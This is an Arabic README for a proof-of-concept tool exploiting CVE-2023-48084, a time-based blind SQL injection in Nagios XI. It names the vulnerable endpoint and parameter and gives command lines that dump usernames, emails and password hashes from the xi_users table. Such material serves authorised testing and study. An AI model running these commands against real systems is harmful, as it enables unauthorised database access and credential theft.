
نص برمجي تجريبي (PoC) بلغة Python يستغل ثغرة SQLi العمياء القائمة على الوقت في Nagios XI لاستخراج محتويات قاعدة البيانات، مع استخراج متعدد الخيوط عبر البحث الثنائي واختيار المخطط/الجدول/العمود من سطر الأوامر (CLI).
المستودع: MettHK/CVE-2023-48084-Revised
نسخة محدّثة من Hamibubu/CVE-2023-48084 مع دعم تعدد الخيوط، واستخراج البحث الثنائي، وخيارات سطر أوامر لاختيار قاعدة البيانات / الجدول / العمود.
ليس المستودع الأصلي. هذا PoC مشتق/محسّن. يعود الفضل في العمل الأصلي إلى Hamibubu.
لأغراض الاختبار الأمني المصرّح به والتعليم فقط. لا تستخدم هذا ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها. المؤلفون والمساهمون غير مسؤولين عن أي إساءة استخدام.
CVE-2023-48084: يحتوي Nagios XI قبل الإصدار 5.11.3 على ثغرة حقن SQL عبر أداة التعديل الجماعي.
يستغل هذا الـ PoC ثغرة حقن SQL أعمى قائم على الوقت في:
/admin/banner_message-ajaxhelper.php?action=acknowledge_banner_message&id=(SQL)
تحتاج إلى ملف تعريف ارتباط جلسة صالح وغير إداري (nagiosxi) أو رمز API.
requests (مطلوب)pwntools (اختياري؛ إخراج تقدم أفضل)git clone https://github.com/MettHK/CVE-2023-48084-Revised.git
cd CVE-2023-48084-Revised
pip install -r requirements.txt
# Interactive (discover schemas → tables → columns)
python3 CVE-2023-48084.py -u https://target.example/nagiosxi -c '<cookie>'
python3 CVE-2023-48084.py -u https://target.example/nagiosxi -a '<api_token>'
# Fast path: database + table + columns known
python3 CVE-2023-48084.py \
-u https://target.example/nagiosxi \
-c '<cookie>' \
-d nagiosxi \
-t xi_users \
-C username,email,password \
-w 15 \
--delay 1.2
لا أنصح باستخدام أكثر من خيطين (workers) فقد يؤدي ذلك إلى نتائج غير صحيحة
--delay (مثل 2) أو اخفض -w (مثل 5).-w 15–20).-d / -t / -C عندما تكون تعرف مخطط الهدف مسبقًا لتجنب الاكتشاف الطويل.| المجال | ما الذي تغيّر |
|---|
| الاستخراج | بحث ثنائي لطول السلسلة وأحرف ASCII (طلبات أقل بكثير) |
| الأداء | استخراج الأحرف بتعدد الخيوط (-w / --workers) |
| واجهة سطر الأوامر | -d / --database — تخطّي اكتشاف المخطط (schema) |
| واجهة سطر الأوامر | -t / --table — تخطّي اكتشاف الجدول (يتطلب -d) |
| واجهة سطر الأوامر | -C / --columns — أعمدة مفصولة بفواصل، تخطّي اكتشاف الأعمدة (يتطلب -t) |
| التوقيت | --delay و--threshold و--max-length قابلة للضبط |
| المتانة | جلسات HTTP لكل خيط؛ pwntools اختياري (أشرطة تقدم) مع بديل بسيط |
| التوثيق | الإشارة/الرابط إلى الأصل؛ لا توجد أسماء مضيفين مخبرية أو عناصر CTF في الأمثلة |
| الخيار | الوصف |
|---|
-u / --url | عنوان URL الأساسي (مثل https://target.example/nagiosxi) |
-c / --cookie | قيمة ملف تعريف ارتباط جلسة nagiosxi |
-a / --apiKey | رمز API (لا تستخدمه مع -c) |
-d / --database | اسم المخطط/قاعدة البيانات (تخطّي تعداد المخطط) |
-t / --table | اسم الجدول (تخطّي تعداد الجدول؛ يتطلب -d) |
-C / --columns | أعمدة مفصولة بفواصل (تخطّي تعداد الأعمدة؛ يتطلب -t) |
-w / --workers | خيوط متوازية (الافتراضي: 10) |
--delay | ثواني SLEEP في الفرع الصحيح (الافتراضي: 1.5) |
--threshold | الحد الأدنى لزمن الاستجابة لاعتباره إصابة (الافتراضي: delay * 0.8) |
--max-length | الحد الأعلى للبحث الثنائي عن الطول (الافتراضي: 2048) |